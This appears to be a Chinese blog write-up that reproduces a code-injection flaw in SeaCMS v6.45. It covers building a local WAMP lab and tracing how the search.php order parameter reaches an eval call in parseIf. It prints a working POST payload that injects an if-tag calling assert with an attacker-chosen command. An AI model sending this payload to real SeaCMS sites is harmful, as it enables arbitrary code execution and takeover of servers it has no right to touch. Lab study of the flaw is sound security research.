碰到了cms,之前一直没有真正的分析过,趁着没事干准备复现一个seacms的漏洞复现,但是经过一系列的苦痛挣扎发现—–搭个环境神特么难…一开始我想用ubuntu直接搭建,但是我用的是php7,而各大seacms的安装指南上说…
===必读提示===
-------------------------------------
【1】自适应模板不支持IE6/7/8古董浏览器,会发生错误。国内双核浏览器的兼容模式一般是ie7内核。
老版本默认模板可以登录官网单独下载。
【2】默认模板首页幻灯片设置办法:五星推荐视频 + 视频的幻灯图片
【3】php7环境下,模板报500错误的解决办法:php7环境下判断字符为空时,部分情况下需要用引号。
例如:if:"[videolist:state]"==""
锤子啊!例如?没有具体教程你让我怎么改…然后挣扎半天,也不想换php版本了,利用原来的虚拟机搞了一发…
环境windows7 x86 + wamp神器,下面讲讲具体过程吧
一、环境搭建
为什么选择wamp,确实太方便了,都是高度集成的,非常好用,php的还可以切换版本,方便至极。下面是搭建过程
1.安装wamp的依赖项
环境搭建需要费一番手脚,因为windows7 本身在安装wamp的时候会缺少两个库,首先我们需要下载两个wamp依赖的项vcredist_x86.exe和vcruntime140.dll。注意,这一步要在装wamp之前!
vcredist_x86.exe下载
vcruntime140.dll下载
2.安装wamp
直接从百度上下载wamp,安装即可。这个没什么技术含量吧~
安装好之后,假如默认安装在C盘上,注意网页的根目录在C://wamp/www/ 目录下嗯。装好了以后具体可以根据自己的喜好做调整,这里不讲了。自行测试环境。
3.安装Seacms v6.45
在这里我安装的是Seacms v6.45,确保漏洞可以利用嗯
Seacms v6.45下载地址
解压之后将upload文件放在C://wamp/www/ 目录下嗯,这里我把文件名字改了一下,改成了。访问http://localhost/seacms_upload/ 准备安装
wamp中root的密码是空的,管理员的帐号密码可以自己设置,网站设置不需要动,因为我们是本地搭建嘛,然后进行安装,很快会提醒如下:
然后我们验证一下吧!直接win7点击访问首页或者访问后台验证也可以,我们这里配置一下环境使其能在局域网中访问。
4.配置环境使局域网可以访问
虚拟机使用网桥连接
win7虚拟机地址 :192.168.200.110
ubuntu攻击机地址:192.168.200.107
在虚拟机中需要更改访问权限
(1)在wamp小图标中apache>httpd.conf
修改Listen端口,搜索Listen,将默认的80端口修改,这里我修改成了2333端口
(2)在wamp小图标中apache>httpd_vhosts.conf
修改端口成2333端口,然后我们在下面能看到一个Require local,将它改成Require all granted
修改后如下:
(3)设置的防火墙
有可能会存在防火墙将外网访问给杀了的,需要修改一下,具体的过程参考如下链接吧~
https://zhidao.baidu.com/question/322889649.html
从ubuntu中的浏览器访问后台登录界面
http://192.168.200.110:2333/seacms_upload/index.php
访问
http://192.168.200.110:2333/seacms_upload/admin/login.php?gotopage=/seacms_upload/admin/
输入帐号密码登录
可以看到访问成功啦,这下环境就都搭建好了!
二、漏洞分析
网上的讲解很多了,漏洞的初始接口在./search.php文件中,打开该文件,漏洞代码在212行的代码中,而关键代码就是211-213这3行过滤条件
$content=replaceCurrentTypeId($content,-444);
$content=$mainClassObj->parseIf($content);
$content=str_replace("{seacms:member}",front_member(),$content);
原因是类的parseIf函数中存在漏洞,这里提前将大神利用的payload贴出来
GET:http://192.168.200.110:2333/seacms_upload/search.php?searchtype=5
POST:searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=phpinfo();
可以看出来post包含了经典的一句话木马嘛,但是具体是怎么绕过机制的还要分析。
我们先放着这个关键代码不动,看一下程序的流程,首先是我们看网上的poc是有get有post的,输入的get个post都在哪里呢?在./include/common.php 文件中
10-17行
if(PHP_VERSION < '4.1.0') {
$_GET = &$HTTP_GET_VARS;
$_POST = &$HTTP_POST_VARS;
$_COOKIE = &$HTTP_COOKIE_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
$_ENV = &$HTTP_ENV_VARS;
$_FILES = &$HTTP_POST_FILES;
}
45-48行
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
查找其他标签的可控内容,写入if标签
可以找到一处其他标签可控且没有做任何处理的位置,直接写入if标签语句即可造成任意代码执行
function echoSearchPage()
{
global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
$order = !empty($order)?$order:time;
...
...
...
$content = str_replace("{searchpage:page}",$page,$content);
$content = str_replace("{seacms:searchword}",$searchword,$content);
$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
$content = str_replace("{searchpage:ordername}",$order,$content);
...
...
...
但是这个就非常奇怪,不知道为啥使用GET和POST结果完全不一样,用POST就可以GET就会爆炸,就在这一句爆炸
search.php 文件 158行
$content = str_replace("{searchpage:ordername}",$order,$content);
继续分析吧,截至到问题代码之前,我们输出一下$content变量看一下,标签被替换成了这样
<a href="http://localhost/search.php?page=1&searchtype=5&order=time&tid=0&area=&year=&letter=&yuyan=&state=&money=&ver=&jq=" {if:"}{end="" if}{if:1)print_r($_post[func]($_post[cmd]));="" }{end="" if}"="="time"}" class="btn btn-success" {else}="" {end="" if}="" id="orderhits">最新上映</a>
<a href="http://localhost/search.php?page=1&searchtype=5&order=hit&tid=0&area=&year=&letter=&yuyan=&state=&money=&ver=&jq=" {if:"}{end="" if}{if:1)print_r($_post[func]($_post[cmd]));="" }{end="" if}"="="hit"}" class="btn btn-success" {else}="" {end="" if}="" id="orderaddtime">最近热播</a>
<a href="http://localhost/search.php?page=1&searchtype=5&order=score&tid=0&area=&year=&letter=&yuyan=&state=&money=&ver=&jq=" {if:"}{end="" if}{if:1)print_r($_post[func]($_post[cmd]));="" }{end="" if}"="="score"}" class="btn btn-success" {else}="" {end="" if}="" id="ordergold">评分最高</a>
我们继续跟踪代码,找到./include/main.class.php,可以看到parseIf函数代码如下
function parseIf($content){
if (strpos($content,'{if:')=== false){
return $content;
}else{
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
$labelRule2="{elseif";
$labelRule3="{else}";
preg_match_all($labelRule,$content,$iar);
$arlen=count($iar[0]);
$elseIfFlag=false;
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf);
$strThen=$iar[2][$m];
$strThen=$this->parseSubIf($strThen);
if (strpos($strThen,$labelRule2)===false){
if (strpos($strThen,$labelRule3)>=0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
}else{
@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
}else{
$elseIfArray=explode($labelRule2,$strThen);
$elseIfArrayLen=count($elseIfArray);
$elseIfSubArray=explode($labelRule3,$elseIfArray[$elseIfArrayLen-1]);
$resultStr=$elseIfSubArray[1];
$elseIfArraystr0=addslashes($elseIfArray[0]);
@eval("if($strIf){\$resultStr=\"$elseIfArraystr0\";}");
for($elseIfLen=1;$elseIfLen<$elseIfArrayLen;$elseIfLen++){
$strElseIf=getSubStrByFromAndEnd($elseIfArray[$elseIfLen],":","}","");
$strElseIf=$this->parseStrIf($strElseIf);
$strElseIfThen=addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen],"}","","start"));
@eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}");
@eval("if(".$strElseIf."){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
if ($elseIfFlag) {break;}
}
$strElseIf0=getSubStrByFromAndEnd($elseIfSubArray[0],":","}","");
$strElseIfThen0=addslashes(getSubStrByFromAndEnd($elseIfSubArray[0],"}","","start"));
if(strpos($strElseIf0,'==')===false&&strpos($strElseIf0,'=')>0)$strElseIf0=str_replace('=', '==', $strElseIf0);
@eval("if(".$strElseIf0."){\$resultStr=\"$strElseIfThen0\";\$elseIfFlag=true;}");
$content=str_replace($iar[0][$m],$resultStr,$content);
}
}
return $content;
}
}
利用到的是这一句
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
流程中开始时poc制造的注意事项
- 1.串中要有{if:字段
- 2.要匹配出正则表达式如下的
{if:(.*?)}(.*?){end if}
这个时候进入循环依次对应利用到之前order输入到html中的标签内容,此时匹配得到的正则表达式即$iar[0][$m]为{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if},第一个匹配项$iar[1][$m] 是1)print_r($_POST[func]($_POST[cmd]));//
然后我们看一下
...
$labelRule2="{elseif";
...
if (strpos($strThen,$labelRule2)===false){
代表$iar[2][$m]不能含有"{elseif" 在poc中没有存在成立,该判断然过进入if语句中
下一句判断
if (strpos($strThen,$labelRule3)>=0){
因为我们构造的$strThen(其实就是$iar[2][$m])是空的,利用了strpos函数漏洞实现绕过了,然后没有其他操作我们就进入了eval那一句!
最后有效的利用代码如下
eval("if(1)print_r($_POST[func]($_POST[cmd]));//){$ifFlag=true;}else{$ifFlag=false;} ")
这里其实还是讲的poc是怎么绕过漏洞的,但是自己构造poc确实需要很扎实的功底,我暂时是不具备的,希望对大家有所帮助吧!
如有错误欢迎大神指正!求神牛勿喷。
利用效果图
本文详细介绍了如何在Windows7环境下搭建WAMP服务器并安装Seacms v6.45,以及如何配置环境使其在局域网中可访问。重点讨论了Seacms的漏洞,初始接口位于./search.php的212行,通过分析代码流程和利用条件,揭示了如何绕过过滤机制实现任意代码执行。
532

被折叠的 条评论
为什么被折叠?



